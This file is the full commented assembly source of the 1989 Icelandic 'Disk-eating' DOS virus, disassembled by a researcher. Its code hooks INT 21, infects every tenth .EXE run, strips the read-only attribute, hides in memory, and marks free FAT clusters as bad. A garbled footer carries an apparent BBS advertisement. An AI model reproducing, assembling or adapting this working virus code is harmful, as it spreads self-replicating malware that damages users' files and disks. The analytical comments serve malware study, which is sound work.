2022-08-21 09:07:57 +00:00
; THE ICELANDIC "DISK-CRUNCHING" VIRUS
;
; Another possible name for this virus might be "One-in-ten", since
; it tries to infect every tenth program run. The Icelandic name for
; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
;
; It was first located at one site in mid-June '89. It has since then
; been found at a few other places, but is quite rare yet. So far it
; does not seem to have spread to any other country.
;
; Disassembly done in June/July '89.
;
; The author of this program is unknown, but it appears to be of
; Icelandic origin.
;
; All comments in this file were added by Fridrik Skulason,
; University of Iceland/Computing Services.
;
; INTERNET: frisk@rhi.hi.is
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much. The code
; is very clear, and the virus is quite well written. It would be VERY
; easy to modify it to do something really harmful.
;
; A short description of the virus:
;
; It only infects .EXE files. Infected files grow by 656 to 671
; bytes, and the length of the infected file MOD 16 will always be 0.
; The virus attaches itself to the end of the programs it infects.
;
; When an infected file is run, the virus copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash.
;
; The virus does nothing if some other program has hooked INT 13
; before it is run. This is probably done to avoid detection by
; protection programs, but it also means that many ordinary
; programs like SideKick and disk cache software will disable it.
; Even the PRINT command will disable the virus. This reduces the
; spread of the virus, but also greatly reduces the possibility that
; the virus will be detected.
;
; The virus will hook INT 21H and when function 4B (EXEC) is called
; it sometimes will infect the program being run. It will check every
; tenth program that is run for infection, and if it is not already
; infected, it will be.
;
; The virus will remove the Read-Only attribute before trying to
; infect programs.
;
; Infected files can be easily recognized, since they always end in
; 4418,5F19.
;
; To check for system infection, a byte at 0:37F is used - if it
; contains FF the virus is installed in memory.
;
; This virus is slightly harmful, but does no serious damage.
; On floppy-only, or machines with 10Mbyte hard disks it will do
; no damage at all, but on machines with larger hard disks it will
; select one unused entry in the FAT table, and mark it as bad, when it
; infects a file. Since the virus only modifies the first copy of the
; FAT, a quick fix is simply to copy the second table over the first.
; This is the only "mistake" I have found in this virus. It appears
; to be very well written - What a shame the programmer did not use
; his abilities for something more constructive.
;
; This file was created in the following way: I wrote a small program,
; that did nothing but write "Hello world!" and ran it several times,
; until it became infected. I then diassembled the program, changed
; it into an .ASM file, and worked on it until this file, when
; assembled, produced the same file as the original infected one.
;
; (Or almost the same - the checksum in the header is different).
;
VIRSIZ EQU 128
ASSUME CS : _TEXT , DS : _TEXT , SS : NOTHING , ES : NOTHING
;
; This is the original program.
;
_TEXT1 SEG MENT PARA PUBLIC 'CODE'
_START DB 0b4H , 09H
PUSH CS
POP DS
MOV DX , OFFSET STRING
INT 21H
MOV AX , 4C00H
INT 21H
STRING DB "Hello world!" , 0dh , 0ah , "$"
_TEXT1 ENDS
_TEXT SEG MENT PARA PUBLIC 'CODE'
;
; The virus is basically divided in three parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
; 3. The damage routine. It will select one unused cluster and mark it
; as bad.
;
VIRUS PROC FAR
;
; This is a fake MCB
;
DB 'Z' , 00 , 00 , VIRSIZ , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
LABEL1: SUB SP , 4
PUSH BP
MOV BP , SP
PUSH AX
MOV AX , ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG _CS DW 0010H
MOV [ BP + 4 ], AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H , 46H , 02H
ORG _IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
XOR AX , AX
MOV ES , AX
CMP ES :[ 37FH ], BYTE PTR 0FFH
JNE L1
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
; program is monitoring int 13, and quit.
;
L1: MOV AX , ES :[ 4EH ]
CMP AX , 0070H
JE L2
CMP AX , 0F000H
JNE EXIT
;
; Set the installation flag, so infected programs run later will
; recognize the infection.
;
L2: MOV ES :[ 37FH ], BYTE PTR 0FFH
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
MOV AH , 52H
INT 21H
MOV AX , ES :[ BX - 2 ]
MOV ES , AX
ADD AX , ES :[ 0003 ]
INC AX
INC AX
MOV CS :[ 0001 ], AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX , DS
DEC BX
MOV DS , BX
MOV AL , 'M'
MOV DS :[ 0000 ], AL
MOV AX , DS :[ 0003 ]
SUB AX , VIRSIZ
MOV DS :[ 0003 ], AX
ADD BX , AX
INC BX
;
; Then the virus moves itself to the new block. For some reason 2000
; bytes are transferred, when 656 would be enough. Maybe the author just
; wanted to leave room for future expansions.
;
MOV ES , BX
XOR SI , SI
XOR DI , DI
PUSH CS
POP DS
MOV CX , 2000
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX , OFFSET L3
PUSH AX
RET
;
; The main program modifies INT 21 next and finally returns to the
; original program. The original INT 21 vector is stored inside the
; program so a JMP [OLD INT21] instruction can be used.
;
L3: XOR AX , AX
MOV ES , AX
MOV AX , ES :[ 0084H ]
MOV CS :[ OLD21 ], AX
MOV AX , ES :[ 0086H ]
MOV CS :[ OLD21 + 2 ], AX
MOV AX , CS
MOV ES :[ 0086H ], AX
MOV AX , OFFSET NEW21
MOV ES :[ 0084H ], AX
JMP EXIT
VIRUS ENDP
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21 PROC FAR
CMP AH , 4BH
JE L5
L4: DB 0EAH
OLD21 DW 0 , 0
;
; Only attack every tenth program run.
;
L5: DEC CS :[ COUNTER ]
JNE L4
MOV CS :[ COUNTER ], 10
;
; Save all affected registers.
;
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX , DX
L6: INC BX
CMP BYTE PTR [ BX ], '.'
JE L8
CMP BYTE PTR [ BX ], 0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP L4
L8: INC BX
CMP WORD PTR [ BX ], 5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
MOV AX , 4300H ; Get attribute
INT 21H
JC L7
MOV AX , 4301H ; Set attribute
AND CX , 0FEH
INT 21H
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX , 3D02H ; Open / write access
INT 21H
JC L7
MOV BX , AX ; file handle in BX
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX , OFFSET ID + 8
MOV CX , 1CH
MOV AH , 3FH
INT 21H
JC L9
MOV AX , DS : ID [ 1CH ]
MOV DS :[ ORG_IP ], AX
MOV AX , DS : ID [ 1EH ]
ADD AX , 10H
MOV DS :[ ORG_CS ], AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX , 4202H
MOV CX , - 1
MOV DX , - 4
INT 21H
JC L9
ADD AX , 4
MOV DS :[ LEN_LO ], AX
JNC L8A
INC DX
L8A: MOV DS :[ LEN_HI ], DX
MOV AH , 3FH
MOV CX , 4
MOV DX , OFFSET ID + 4
INT 21H
JNC L11
L9: MOV AH , 3EH
INT 21H
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI , OFFSET ID + 4
MOV AX ,[ SI ]
CMP AX , 4418H
JNE L12
MOV AX ,[ SI + 2 ]
CMP AX , 5F19H
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. Tis is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX , DS :[ LEN_LO ]
AND AX , 0FH
JZ L13
MOV CX , 16
SUB CX , AX
ADD DS :[ LEN_LO ], CX
JNC L12A
INC DS :[ LEN_HI ]
L12A: MOV AH , 40H
INT 21H
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: XOR DX , DX
MOV CX , OFFSET ID + 4
MOV AH , 40H
INT 21H
JC L9
;
; Next the .EXE file header is modified:
;
; First modify initial IP
;
MOV AX , OFFSET LABEL1
MOV DS : ID [ 1CH ], AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX , DS :[ LEN_HI ]
MOV AX , DS :[ LEN_LO ]
SHR DX , 1
RCR AX , 1
SHR DX , 1
RCR AX , 1
SHR DX , 1
RCR AX , 1
SHR DX , 1
RCR AX , 1
SUB AX , DS : ID [ 10H ]
MOV DS : ID [ 1EH ], AX
;
; Modify length mod 512
;
ADD DS :[ LEN_LO ], OFFSET ID + 4
JNC L14
INC DS :[ LEN_HI ]
L14: MOV AX , DS :[ LEN_LO ]
AND AX , 511
MOV DS : ID [ 0AH ], AX
;
; Modify number of blocks used
;
MOV DX , DS :[ LEN_HI ]
MOV AX , DS :[ LEN_LO ]
ADD AX , 511
JNC L14A
INC DX
L14A: MOV AL , AH
MOV AH , DL
SHR AX , 1
MOV DS : ID [ 0CH ], AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX , 4200H
XOR CX , CX
XOR DX , DX
INT 21H
JC ENDIT
MOV AH , 40H
MOV DX , OFFSET ID + 8
MOV CX , 1CH
INT 21H
JC ENDIT
MOV AH , 3EH
INT 21H
JNC DAMAGE
;
; Infection is finished - close the file and execute it
;
ENDIT: JMP L9
NEW21 ENDP
;
; The damage routine. As before noted, it will only do damage on
; systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
;
TEMP DW 0
;
; Start by getting some information about the current drive, like size
; of the FAT etc. Then compute the total number of sectors, and quit
; unless it is greater than 20740. This is probably done since larger
; disks use 16 bit FAT entries, instead of 12, which makes life easier
; for the programmer.
;
DAMAGE: MOV AH , 32H
MOV DL , 0
INT 21H
CMP AL , 0FFH
JE L21
XOR AX , AX
MOV AL ,[ BX + 4 ]
INC AX
MOV CS :[ TEMP ], AX
MOV AX ,[ BX + 0DH ]
DEC AX
MUL CS :[ TEMP ]
ADD AX ,[ BX + 0BH ]
JNC L15A
INC DX
L15A: CMP DX , 0
JNE L15B
CMP AX , 20740
JBE L21
;
; Check if DOS version is 4.0 or greater. If so, use a 16 bit value
; for numbers of sectors in the FAT, otherwise use a 8 bit entry.
;
L15B: PUSH BX
MOV AH , 30H
INT 21H
POP BX
CMP AL , 4
JAE L15
XOR AX , AX
MOV AL ,[ BX + 0FH ]
JMP SHORT L16
L15: MOV AX ,[ BX + 0FH ]
L16: ADD AX ,[ BX + 6 ]
DEC AX
MOV DX , AX
MOV AL ,[ BX ]
;
; Read the last sector in the first copy of the FAT. Search backwards
; for an unused entry. If none is found, read the sector before that
; and so on. If no free entry is found on the entire disk then quit.
;
L20: MOV CX , 1
MOV BX , OFFSET ID + 4
PUSH CS
POP DS
PUSH AX
PUSH DX
INT 25H
POPF
JC L21
POP DX
POP AX
MOV SI , 510
L17: MOV BX , DS :[ ID + 4 + SI ]
CMP BX , 0000
JE L19
CMP SI , 0000
JE L18
DEC SI
DEC SI
JMP L17
L18: DEC DX
CMP DX , 8
JE L21
JMP L20
;
; A free entry has been found. Make it look like a bad cluster, by
; changing the 0000 value to FFF7.
;
L19: MOV DS :[ ID + 4 + SI ], 0FFF7H
MOV CX , 1
MOV BX , OFFSET ID + 4
INT 26H
POPF
L21: JMP L7
COUNTER DB 10
LEN_LO DW ?
LEN_HI DW ?
ID DW 4418H , 5F19H ; The signature of the virus.
;
; A buffer, used for data from the file.
;
_TEXT ENDS
END LABEL1
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>